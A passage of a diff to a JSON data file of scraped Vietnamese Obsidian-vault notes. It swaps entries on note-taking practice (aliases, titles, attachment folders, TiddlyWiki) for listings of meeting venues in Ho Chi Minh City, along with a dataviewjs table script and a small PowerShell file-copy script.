nhiều.\n\nhttps://atlas-disciplines.unige.ch/\nhttps://manuals.annafreud.org/\nhttps://twpub-tools.org/\nhttps://evidentlycube.github.io/TW5-PluginShowcase/index.htmlhttps://evidentlycube.github.io/TW5-PluginShowcase/index.htmlhttps://evidentlycube.github.io/TW5-PluginShowcase/index.html \nInteractive Historical Atlas of the Disciplines\n\n— University of Ge...\nThe Interactive Historical Atlas of the Disciplines is a project aimed at mapping the evolution of the disciplinary borders of science over time.\nxuanvinh — 08/14/2024 12:54 AM\nmột điểm mà những người dùng tw hay tự hào là nó có thể chỉnh sửa chính lõi của nó, thay đổi trực tiếp cách nó hoạt động bằng mã js nhúng vào các core modules.\n\nnhưng xài đơn giản thì ổn, chèn quá nhiều vào thì nó phình lên và làm chậm đáng kể.\n\nnhược điểm quan trọng khác, nếu chỉnh sửa core module thì cập nhật lên các bản mới khá vất vả, vì giữa các bản cập nhật của nó có thể có break changes, và mình tự sửa nó theo ý mình gióng như fork một nhánh riêng, sẽ phải tự maintain và tích hợp code nếu có các thay đổi từ upstream, hay để dễ tích hợp với các plugins khác phụ thuộc vào Core API.\n\nnên nó phù hợp với ghi chú cá nhân/dự án cá nhân hơn là đẻ cộng tác với người khác..\n\ncó các forks/ plugins, thậm chí từ mainstream gần đây của Jeremy đang có định biến nó thành multi-wiki, inter-wiki,... nhưng đồng nghĩa với việc phá vỡ triết lý one-thing-contains-all của chính nó.\n\nvì tồn tại đủ lâu nên nó có cộng đồng rất tốt, nhưng lại khá phân mảnh.\nlearning curve mà nhiều người hay nhắc về nó ko hẳn là vì hơi hướng gần với tự viết mã js/css để tùy chỉnh theo ý họ, mà theo mình là bởi sự khó hiểu của các triển khai khác nhau giữa những người khác nhau. \nmặc định là lưu dữ liệu dạng markup/script plaintext (json, xml), dù ở dạng tất-cả-trong-một với 1 tệp html đơn; hoặc lưu nhiều tệp .tid hệt như markdown với Obsidian (nodejs version)\n\nbên cạnh có thể xài như là NoSQL database với CouchDB/Cloudant, Firebase, AWS Lambda,... tuy nhánh này hỗ trợ chưa được tốt lắm và phải tự cấu hình nhiều. \n\nNguồn:: [Discord](https://discord.com/channels/686053708261228577/944662832585277511/1272972267281711227)", + "Mô tả bài đăng": "=địa chỉ", + "Toàn bộ nội dung": "Địa chỉ:: \nGiá thuê:: 0\nƯu đãi giá:: Miễn phí đối với những sự kiện mang tính chất kết nối, xây dựng cộng đồng về khởi nghiệp đổi mới sáng tạo\nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n\n[ĐĂNG KÝ KHÔNG GIAN TỔ CHỨC SỰ KIÊN TẠI SAIGON INNOVATION HUB](https://docs.google.com/forms/d/e/1FAIpQLSfz1lomgDat1vvczqrvg-Tj6ZynGXVcZj-Ln82GmJEm8t7E8w/viewform)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-16T06:20:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qr" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R3" }, { - "Tiêu đề": "Zotero", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Chương trình/Zotero", + "Tiêu đề": "Cái Tổ Nhỏ", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Cái Tổ Nhỏ", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Khái niệm:: \n\nNguồn:: ", + "Mô tả bài đăng": "193/31 Nguyễn Đình Chính, Phú Nhuận", + "Toàn bộ nội dung": "Địa chỉ:: 193/31 Nguyễn Đình Chính\nQuận:: Phú Nhuận\nGiá:: \nƯu đãi giá:: \nSố người tối thiểu:: 5\nSố người tối đa:: 20\n \nGiá giữ xe:: \nLiên hệ:: 0987 076901\nWebsite:: [Trang chủ | Cai To Nho | Việt Nam](https://www.caitonho.com/)\nFacebook:: [Cái Tổ Nhỏ | Ho Chi Minh City | Facebook](https://www.facebook.com/caitonho)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nNhững thứ không có trong mặc định\n- [ ] Bàn đúng kích thước làm việc\n- [?] Webcam \n- [?] Loa và mic\n\n[[📜Tài nguyên/Nhu cầu công việc/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Phòng họp riêng|Danh sách những thứ mặc định và có, và so sánh với những địa điểm khác]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-08-31T15:30:00.000Z", - "Ngày cập nhật": "2024-09-02T06:21:00.000Z", - "id": "Qs" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R4" }, { - "Tiêu đề": "Các loại alias", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Các loại alias", + "Tiêu đề": "Phòng họp riêng ở TPHCM", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Alias dùng để nối tiếp dòng suy nghĩ.\n\nCác loại alias:\n- Liệt kê từ đồng nghĩa không có trong tiêu đề\n- Liệt kê các phiên bản của tiêu đề\n- Liệt kê các ý khác nhau của một đoạn lập luận thống nhất\n\nXem thêm:: [[Các loại tiêu đề và cách dùng chúng]]\n## Liệt kê từ đồng nghĩa không có trong tiêu đề\n\n## Liệt kê các phiên bản của tiêu đề\nThường thấy trong [[📐 Dự án]].\n- Biến danh ngữ thành động ngữ hoặc ngược lại\n- Biến câu khẳng định thành câu hỏi hoặc ngược lại\n\nBiến danh ngữ thành động ngữ hoặc ngược lại:\n- Kế hoạch phát triển Trấn Kỳ\n- Phát triển Trấn Kỳ\n- Chiến lược phát triển Trấn Kỳ\n- Lên kế hoạch phát triển Trấn Kỳ\n- Xác định cơ hội và giải pháp\n\nBiến câu khẳng định thành câu hỏi hoặc ngược lại:\n- WordPress giúp việc tạo web dễ dàng nhất, chứ không phải là thứ tạo web hiệu quả nhất\n- Người dùng cá nhân hoặc dự án nhỏ có nên dùng WordPress hay không?\n\nXem thêm:: [[Quản lý dữ liệu cho dự án, sản phẩm]]\n## Liệt kê các ý khác nhau của một đoạn lập luận thống nhất\nThường thấy trong [[⚡Hiểu biết sâu]]. VD:\n - Ham muốn là việc đáp ứng nhu cầu khi chưa quan sát được nhu cầu của bản thân\n - Chấp là trạng thái của tư duy khi đang có ham muốn\n - Các tài liệu khoa học không bàn về chấp, mà luôn quy vấn đề thành ham muốn\n\nƯu điểm:\n- Làm gọn số lượng ghi chú do không có proxy,\n- Có thể dùng alias làm tóm tắt của bài luôn\n\nNhược điểm:\n- Khi query bằng dataview, xem trên breadcrumb hoặc lập đồ thị thì các ý độc lập không được hiện ra\n- Có khi cả bài thì có nhiều ý, nhưng mỗi ý thì chỉ cần một đoạn lập luận thôi. Thấy ít chữ thì chịu khó đọc hơn\n\nKhông hẳn là nhược điểm, nhưng khi có thông tin khác không ở trong đoạn lập luận đó hoặc khi mỗi ý có thể nằm ở các vị trí khác nhau trong cây thư mục thì cũng phải tách ra. Tách ra sớm thì tiện hơn. VD: \n- [[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]] thì nên ở *`=[[Sử dụng phương pháp đánh chỉ số tập tin giúp dễ tìm kiếm (search) hơn là truy cập (navigate)]].file.path`*, còn\n- [[Đánh số thư mục]] thì nên ở *`=[[Đánh số thư mục]].file.path`*\n", + "Toàn bộ nội dung": "```dataviewjs\nconst dsTrường = [\n ]\nconst dsCột = [\n \"Địa điểm\",\n \"Số người tối đa\", \n \"Giá\", \n \"Giờ mở cửa\", \n \"Ghi chú\", \n \"Địa chỉ\",\n \"Khác so với mặc định\"\n]\n\nfunction tạoĐịaChỉ(địaĐiểm) {\n const {\"Địa chỉ\": địaChỉ, quận } = địaĐiểm\n switch (typeof quận) {\n case 'number':\n return `${địaChỉ}, Q${quận}`\n default:\n return `${địaChỉ}, ${quận}`\n }\n}\n\nfunction tạoGiờMởCửa(địaĐiểm) {\n const {\"Giờ mở cửa\": giờMởCửa, \"Giờ đóng cửa\": giờĐóngCửa} = địaĐiểm\n if (typeof giờĐóngCửa === \"string\") return `${giờMởCửa} – ${giờĐóngCửa}`\n}\n\nfunction tạoDsKhácMặcĐịnh(địaĐiểm){\n const dsKhácMặcĐịnh = địaĐiểm.file.lists.filter(i=>i.header.subpath === \"Những thứ không có trong mặc định\")\n const dsCó = dsKhácMặcĐịnh.filter(i=>i.status === \"x\").map(i=>i.text).join(\", \")\n const dsKhông = dsKhácMặcĐịnh.filter(i=>i.checked === false).map(i=>i.text).join(\", \")\n if (dsCó && dsKhông) return `❌${dsKhông}, ✔${dsCó}`\n if (!dsCó && dsKhông) return `❌${dsKhông}`\n if (dsCó && !dsKhông) return `✔${dsCó}`\n}\n\nfunction tạoHàng(địaĐiểm) {\n const dsThuộcTính = []\n for (const cột of dsCột){\n switch (cột) {\n case \"Địa điểm\":\n dsThuộcTính.push(địaĐiểm.file.link)\n break \n case \"Địa chỉ\":\n dsThuộcTính.push(tạoĐịaChỉ(địaĐiểm))\n break \n case \"Giờ mở cửa\":\n dsThuộcTính.push(tạoGiờMởCửa(địaĐiểm))\n break \n case \"Khác so với mặc định\":\n dsThuộcTính.push(tạoDsKhácMặcĐịnh(địaĐiểm))\n break \n default:\n dsThuộcTính.push(địaĐiểm[cột])\n }\n }\n return dsThuộcTính\n}\n\nfunction tạoKếtQuả() {\n return dv.pages(`\"${dv.current().file.folder}\"`)\n .filter(địaĐiểm => địaĐiểm.file.name !== dv.current().file.name)\n .sort(địaĐiểm => địaĐiểm.giá)\n .map(địaĐiểm => tạoHàng(địaĐiểm));\n}\n\ndv.table(dsCột, tạoKếtQuả())\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-09-02T06:14:00.000Z", - "Ngày cập nhật": "2024-09-02T12:43:00.000Z", - "id": "Qt" + "Ngày tạo": "2023-07-18T04:21:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R5" }, { - "Tiêu đề": "Các loại tiêu đề và cách dùng chúng", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Các loại tiêu đề và cách dùng chúng", + "Tiêu đề": "Phòng sinh hoạt chung cư GoldView", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Phòng sinh hoạt chung cư GoldView", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Lý tưởng nhất thì chỉ cần dùng một thứ để đặt cho tất cả những cái này. Và đó là filename. Chính vì như vậy, nên filename nên là thứ mặc định. Nhưng có những lúc nó chứa ký tự đặc biệt hoặc đường dẫn quá dài thì Windows hoặc Git sẽ không chịu, nên nên có một trường khác có chức năng làm mặc định cho những thứ còn lại. Đó chính là `title`. \n\nNếu tiêu đề Khi truy cập từ cây thư mục thì đang đinh ninh tiêu đề phải giống, nếu khác thì sẽ bị khựng. Nhưng nếu để nguyên tiêu đề của cây thư mục thì sẽ bị lệch so với nội dung, nên cần phải có thể một tiêu đề khác để chuẩn bị cho mình rằng nội dung mới có tiêu đề khác với tiêu đề từ cây thư mục (VD: [[Tạo website]])\n\n| Vai trò | Vị trí xuất hiện | Cách điều chỉnh | Nếu không điều chỉnh thì mặc định sẽ lấy giá trị từ | Lý do cần điều chỉnh mà không dùng mặc định được |\n| ------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------- | --------------- | --------------------------------------------------- | ---------------------------------------------------------------------------------- |\n| Quản lý tập tin từ hệ điều hành. Tạo slug | filename: lúc xuất file, terminal, Windows Explorer | filename | Luôn có | Không có |\n| Nhận diện bài viết, tóm tắt nội dung, quản lý theo cấu trúc của tác giả hoặc người đang tìm kiếm theo một cấu trúc | Tiêu đề: trên cao, file explorer, breadcrumb, menu, navigation pane | `title` | filename | filename không được chứa ký tự đặc biệt hoặc quá dài, nhưng tiêu đề lại có |\n| Tạo dự đoán cho người đọc về nội dung bên trong, làm cho họ thấy vì sao họ cần đọc bài đó, đáp ứng câu hỏi của họ | Headline (``, `<h1>`) | Markdown `#` | `title`, filename | Mental model của người đã hiểu nó rồi khác với mental model của người chưa hiểu nó |\n| Nối tiếp dòng suy nghĩ | Liên kết (`[[]]`, `<a>`) | `alias` | `title`, filename | |\n| | Search autocomplete, kết quả Google | Không cần chỉnh | `alias`, `title`, filename | |\n| Tiêu đề lúc chia sẻ trên Facebook | Tiêu đề trong Open Graph (`meta property=\"og:title\"`) | `ogTitle` | `title`, filename | |\n\nPlugin [Front Matter Title](https://github.com/snezhig/obsidian-front-matter-title) có thể đọc những cái này để thay đổi trên Obsidian.\n\nXem thêm:: [[Các loại alias]]\n## Path\nGiữ nguyên path?\nPhản đối:\n- Không đáng kể\n- Người muốn tìm đến thì sẽ tìm được thôi. Search cũng không khó\n\n\nCó lúc chỉ muốn đặt tiêu đề là câu hỏi, dù có thể đặt theo chủ đề: [[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]. Có lúc thì chỉ muốn đặt theo chủ đề, dù có thể đặt theo câu hỏi: [[Các loại tiêu đề và cách dùng chúng]]", + "Mô tả bài đăng": "Tầng 5, chung cư The GoldView, 346 Bến Vân Đồn", + "Toàn bộ nội dung": "Địa chỉ:: 346 Bến Vân Đồn (tầng 5)\nQuận:: 4\nSố người tối thiểu:: \nSố người tối đa:: 50\nGiá:: 0\n \nGiá giữ xe:: 5k\nLiên hệ:: https://www.facebook.com/quacau.sphere/\nWebsite::\nFacebook::\n\nGiờ mở cửa::\nGiờ đóng cửa:: 21:30\nGhi chú:: Chỉ được mượn 1 lần/tháng. Cọc 1tr. Trả cọc sau 3 ngày\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.718638602646!2d106.68929217511733!3d10.756154159567224!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x31752f8a42f114ef%3A0x95ae0451733a83f5!2sThe%20Gold%20View!5e0!3m2!1sen!2s!4v1724399988785!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-27T11:59:00.000Z", - "Ngày cập nhật": "2024-09-02T09:35:00.000Z", - "id": "Qu" + "Ngày tạo": "2023-05-26T07:51:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R6" }, { - "Tiêu đề": "Cách sắp xếp thư mục cho các tập tin bổ trợ", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Cách sắp xếp thư mục cho các tập tin bổ trợ", + "Tiêu đề": "UAC", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Tối đa 10 người/UAC", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Mô tả bài đăng": "Cùng là một tập tin hỗ trợ, khi đang làm việc A thì đầu óc ta sẽ nghĩ đến nó với cái tên và ở cấu trúc phân cấp khác với khi đang làm việc B. Ngoài ra khi quản lý các tập tin như vậy thì muốn tách chúng ra ngoài kho và để riêng vào một thư mục, trong khi lúc cần dùng thì lại cần để vào trong kho. Nên xử lý việc này thế nào?", - "Toàn bộ nội dung": "Bài viết [The Knowledge Organization](https://fibery.io/blog/gems/the-knowledge-organization/) của Fibery có nói đến việc [[Cấu trúc phân cấp thường cứng nhắc và nhân tạo|cấu trúc phân cấp của cây thư mục thường cứng nhắc và nhân tạo]]. Cùng là một tập tin, khi đang làm việc A thì đầu óc ta sẽ nghĩ đến nó với cái tên và ở cấu trúc phân cấp khác với khi đang làm việc B:\n![](https://fibery.io/blog/static/7bae05409fa1f5c4550c798c2725fe3a/573d3/competing-hierarchies.png) \n\nBởi vì [[Obsidian lưu dữ liệu ở định dạng đơn giản]], bạn sẽ bị trói buộc vào cấu trúc phân cấp của cây thư mục. Khi bạn bắt tay viết một ghi chú, bạn sẽ muốn các tập tin hỗ trợ (ảnh, video, code, v.v.) ở trong cùng một thư mục. Nhưng đến khi số lượng ghi chú nhiều hơn, và một ảnh của bạn có thể dùng cho nhiều ghi chú khác nhau, bạn sẽ muốn tách riêng mỗi loại tập tin ra một thư mục khác nhau: ảnh ra thư mục ảnh, ghi chú ra thư mục ghi chú, v.v. Chuyện này không phải là vấn đề lớn. Nếu số lượng ảnh trong thư mục ảnh nhiều quá khó kiểm soát thì mình thường lặp lại cấu trúc ở thư mục ghi chú. VD:\n```\n.git\n.obsidian\nGhi chú/\n├── Chủ đề 1/\n├── ├── Ghi chú 1.1.md\n├── └── Ghi chú 1.2.md\n├── Chủ đề 2/\n├── ├── Ghi chú 2.1.md\n└── └── Ghi chú 2.2.md\nẢnh/\n├── Chủ đề 1/\n└── Chủ đề 2/\n```\n\nCũng không nhất thiết cấu trúc thư mục cho ảnh phải giống với cấu trúc cho ghi chú. Khác nhau cũng được, miễn là quản lý thuận tiện.\n\nRắc rối bắt đầu đến khi mình tạo ra nhiều kho dữ liệu, và mỗi ảnh có thể dùng cho 2, 3 kho. Để dùng ảnh thì mình **bắt buộc phải có ảnh trong từng kho**. Để quản lý ảnh thì mình tạo một thư mục ảnh ở ngoài thư mục kho như sau:\n```\nKho/\n├── Kho A/\n│ ├── Ghi chú/\n│ │ ├── Chủ đề A1/\n│ │ └── Chủ đề A2/\n│ └── Ảnh/\n│ ├── Chủ đề A1/\n│ └── Chủ đề A2/\n└── Kho B/\n ├── Ghi chú/\n │ ├── Chủ đề B1/\n │ └── Chủ đề B2/\n └── Ảnh/\n ├── Chủ đề B1/\n └── Chủ đề B2/\nẢnh/\n├── Chủ đề A1/\n├── Chủ đề A2/\n├── Chủ đề B1/\n└── Chủ đề B2/\n```\n\nCác tập tin hỗ trợ khác mình cũng dùng cấu trúc tương tự.\n\nMỗi lần chỉnh sửa ảnh mình lại phải sao chép vào tất cả các thư mục còn lại. Bạn có thể dùng symbolic link, nhưng mình thấy việc tạo ra như vậy cũng lắt nhắt và không biết mình đã tạo vào những đâu. Hơn nữa [chính Obsidian cũng khuyến cáo không nên làm như vậy](https://help.obsidian.md/Files+and+folders/Symbolic+links+and+junctions \"Symbolic links and junctions - Obsidian Help\"). Trước mình cũng có tạo một script PowerShell để tự động sao chép[^1], nhưng do các thư mục đích trong `destList` cũng thay đổi thường xuyên, nên dạo này mình cũng chỉ sao chép bằng tay. Ảnh nào phải chỉnh quá nhiều thì mình mới chỉnh script. \n\nCách tiếp cận mình nghĩ là triệt để hơn là tạo một plugin để mỗi lần kho được mở lên thì nó sẽ kiểm tra trong thư mục ảnh xem ảnh gốc có thời điểm tạo mới hơn ảnh hiện tại hay không. Nếu có thì tự động chép đè vào ảnh trên kho. Không biết là đã có ai làm cái này chưa?\n\n1. Script PowerShell để tự động sao chép:\n\n```PowerShell\n$PROJ_NAME=\"C Obsidian, quản lý dự án và công cụ nghĩ\" \n$destList=\n \"$env:QC_CODE\\Websites\\$PROJ_NAME\\Web chính\\docs\\assets\\meta\",\n \"$env:QC_CODE\\Websites\\$PROJ_NAME\\Debugging version\\docs\\assets\\meta\",\n \"$env:QC_CODE\\Installers\\$PROJ_NAME\\Resources\",\n \"$env:QC_VAULTS\\$PROJ_NAME\\Vault chính\\Thiết lập\\Ảnh\"\n \n# temporarily change to the correct folder\n$scriptpath = $MyInvocation.MyCommand.Path\n$dir = Split-Path $scriptpath\nWrite-host \"My directory is $dir\"\nPush-Location $dir\n \nforeach ($dest in $destList) {\n \"Copy $(ls logo* -name) to $dest\" \n New-Item -ItemType Directory -Force -Path $dest\\Logo | Out-Null\n copy-Item .\\logo* -destination $dest\\Logo\n}\n\n# now back to previous directory\nPop-Location\n```\n\n%% \n[Separation of content and presentation - Wikipedia](https://en.wikipedia.org/wiki/Separation_of_content_and_presentation)\ncho nên em đổi từ area sang insights em thấy dễ xử lý với em hơn. Cái nào mang tính là kiến thức thôi thì là insight. Kiến thức thì nó độc lập với mong muốn của mình. Còn cái nào đi từ một mục tiêu cụ thể thì là project.\n```plantuml\n@startuml\nfile \".git\" \nfile \".obsidian\" \nfolder \"Ghi chú\" {\n folder \"Chủ đề 1\" {\n file \"1.1.md\" \n file \"1.2.md\" \n }\n folder \"Chủ đề 2\" {\n file \"2.1.md\" \n file \"2.2.md\" \n }\n}\nfolder \"Ảnh\" {\n folder \"Chủ đề 1\" {\n }\n folder \"Chủ đề 2\" {\n }\n}\n@enduml\n```\n%%", + "Mô tả bài đăng": "56 Nguyễn Đình Chiểu, Q1", + "Toàn bộ nội dung": "Địa chỉ:: 56 Nguyễn Đình Chiểu, Q1\nGiá:: 0\nSố người tối thiểu:: \nSố người tối đa:: 4, 20\n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: https://www.facebook.com/UAC.VN/posts/pfbid0yyg5SVQWE4pJYV86QaDuawDhw4vXtLS6NXfvkGNFJnzRz57GqHD3cMp6dG8BDW2dl\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú:: Chỉ trống phòng vào thứ 3 hàng tuần, vì thứ 4, 5, 6 đều có thi IELTS. Cần đăng ký làm thành viên\n\n<iframe src=\"https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d3919.2860546265697!2d106.6975110751176!3d10.789389258954328!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x317529b9df7f1dd7%3A0xde7193c174c6dfc4!2sUniversity%20Access%20Centre%20Vi%E1%BB%87t%20Nam!5e0!3m2!1sen!2s!4v1724399872524!5m2!1sen!2s\" width=\"600\" height=\"450\" style=\"border:0;\" allowfullscreen=\"\" loading=\"lazy\" referrerpolicy=\"no-referrer-when-downgrade\"></iframe>", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-22T14:45:00.000Z", - "Ngày cập nhật": "2024-09-02T06:22:00.000Z", - "id": "Qv" + "Ngày tạo": "2023-07-18T04:21:00.000Z", + "Ngày cập nhật": "2024-09-02T18:21:00.000Z", + "id": "R7" }, { - "Tiêu đề": "Quản lý dữ liệu cho dự án, sản phẩm", - "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Tổ chức, sắp xếp dữ liệu/Quản lý dữ liệu cho dự án, sản phẩm", + "Tiêu đề": "Vẫn đang suy nghĩ space", + "URL": "https://obsidian.quảcầu.cc/📜Tài nguyên/Giải pháp kỹ thuật/Hậu cần/Nơi gặp mặt trực tiếp/TP.HCM/Phòng họp riêng/Tối đa 10 người/Vẫn đang suy nghĩ space", "Kho thông tin": "Obsidian, quản lý dự án và công cụ nghĩ", "Dự án": { "Mã dự án": "C1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Sau một thời gian loay hoay để quản lý dữ liệu cho việc phát triển sản phẩm, Trấn Kỳ\n\n\nThấy được tương tác giữa một sản phẩm và các sản phẩm bổ trợ\nDo nhu cầu và giả thiết là vô số, nên chỉ tạo note riêng khi chúng lặp lại quá nhiều\n\nGiả thiết: chia thành các nhóm:\n- Giả thiết về bài đăng\n- Giả thiết về thái độ người dùng\n- Giả thiết về điều người dùng nhận được\n- Giả thiết về năng lực và cảnh quan thị trường\n\n\nNếu Quả Cầu là thiên chúa, thì ba ngôi chính là ba khái niệm: vùng đất, sản phẩm, vật thể. \n\nTrong toán học thì chắc gọi là đẳng cấu (isomorphism)\n\nKhi quản lý dữ liệu cho dự án, đừng quản lý công việc, mà hãy quản lý thành phẩm.\nThành phẩm [[Kế hoạch phát triển Trấn Kỳ]] vừa là:\n - Một bản kế hoạch (alias: Kế hoạch phát triển Trấn Kỳ) \n - Một công việc (alias: phát triển Trấn Kỳ) \n - Một công việc lên kế hoạch (alias: Lên kế hoạch phát triển Trấn Kỳ ) \n - Thành phẩm của công việc (alias: Bản kế hoạch phát triển Trấn Kỳ) \n - Một bản báo cáo tình hình công việc (alias: ) \nBởi vì [[Giả định có mặt ở khắp nơi]], và vì [[Cần nghĩ về công việc như là một cách để kiểm định giả thiết, chứ không phải chỉ để hoàn thành]], nên [[Công việc sẽ được gắn ở khắp nơi]] \n\nChỉ khi nào công việc bắt đầu phức tạp thì mới tách ra thành folder riêng, còn trước đó thì vẫn để trong kế hoạch\nVí dụ: sản phẩm `vault dạy Obsidian` có những thành phẩm sau:\n```dataview \nList\nFrom #file/thành-phẩm \nLimit 5\n```\n\nMỗi một thành phẩm chính là một khía cạnh khác nhau của sản phẩm. Giống như con voi được tạo thành từ vòi, ngà, tai, thân, chân, đuôi. Các bộ phận ấy đến lượt chúng lại được cấu tạo từ những bộ phận nhỏ hơn. Cho nên, thành phẩm thực chất là sản phẩm. Bởi vì [[Sản phẩm là vật thể]], nên thành phẩm cũng là một vật thể. Các vật thể này cứ lồng vào nhau như fractal. Một lúc nào đó, khi một thành phẩm trở nên đủ phức tạp, ta có thể tách nó ra thành một sản phẩm riêng của tổ chức.\n\nQuy hồi (recursive) là việc [[Một sản phẩm được tạo nên bởi nhiều thành phẩm. Thứ ta gọi là sản phẩm thành phần, hoặc sản phẩm nhỏ hơn, chính là thành phẩm|một sản phẩm được tạo nên bởi nhiều sản phẩm nhỏ hơn]]\n\n[[Bởi vì sản phẩm có tính quy hồi và có thể là thành phẩm chung của nhiều sản phẩm lớn hơn, nên để quản lý được nó ta phải biết lập trình]]\n\n[[Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức]], còn [[Thành phẩm (output) là các kết quả trực tiếp của các công việc]]. \n\nOái oăm là, mặc dù về lý thuyết thì ta biết là nên đi từ thành quả mong muốn cao nhất rồi chẻ nhỏ ra, và phải luôn gắn giả thiết vào thành quả mong muốn đó, nhưng thực tế nhiều khi mình biết mình cần công việc gì luôn mà não chưa nghĩ ra được nó dùng để kiểm định giả thiết gì, và thành quả mong muốn ra sao. Thường đó là công việc nghiên cứu một cái gì đó, vì [[Thành quả mong muốn và giả định của một công việc tìm hiểu một vấn đề nào đó là chính nó|thành quả mong muốn và giả định của nó là chính nó]]. Cho nên, vào lúc chưa nghĩ ra thì để dưới dạng list, khi nghĩ ra rồi thì mới chuyển sang dạng bảng.\n\nVí dụ, lúc mới lên kế hoạch [[Đi năn nỉ]], thì phải hiểu được quan điểm về cho tiền của người cho vay tiền (chủ nợ) nói riêng và người giàu/nhà tư bản nói chung. Bạn hãy cho tôi biết thành quả mong muốn và giả định của nó là gì, nếu không phải là lặp lại câu vừa rồi?\n\nChưa hiểu được cái này thì không làm được gì cả.\n\n\n[[93.01 Mục tiêu, yếu tố hỗ trợ, ý tưởng tốt hơn. Mục tiêu, sản phẩm, hoạt động, tác vụ]] [[93.01 Đồ thị nội hàm các khái niệm]]\n\n[[Giải pháp gợi ý chính là thành phẩm]]\n\n| Giải pháp gợi ý | Hành vi cần đạt được | Giả thiết | Công việc |\n| --------------- | -------------------- | --------- | --------- |\n| \n\n\n| Nơi cho câu trả lời | Câu hỏi của bạn | Loại câu hỏi | Loại biết |\n| ------------------- | ---------------------------------------------------------------------------------------- | ------------ | ----------------------------- |\n| [[⚡Hiểu biết sâu]] | Hmm, bản chất của những vấn đề này là gì? Còn những gì tôi không biết là tôi không biết? | Why | Không biết là mình không biết |\n| [[📜Tài nguyên]] | Tôi cần thành thạo thêm những công cụ gì để dự án của tôi được trôi chảy? | How | Biết là mình không biết |\n\n[[Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó|Làm sao để tìm được thứ cần tìm khi không biết từ khoá chính xác của nó?]]", + "Mô tả bài đăng": "Tầng 6, 73 Cao Thắng, Q3", + "Toàn bộ nội dung": "Địa chỉ:: Tầng 6, 73 Cao Thắng, Q3\nGiá thuê:: \nƯu đãi giá:: \nSố người tối thiểu:: \nSố người tối đa:: \n \nGiá giữ xe:: \nLiên hệ::\nWebsite::\nFacebook:: [Vẫn đang suy nghĩ space | Ho Chi Minh City | Facebook](https://www.facebook.com/stillthinkingspace)\n\nGiờ mở cửa::\nGiờ đóng cửa::\nGhi chú::\n\nLưu ý:\n- Xe lăn không tiếp cận được\n- Cần đặt chỗ trước\n- Không có loa\n\nĐiểm cộng:\n- [x] Nằm la liệt được\n", "Định dạng nội dung": 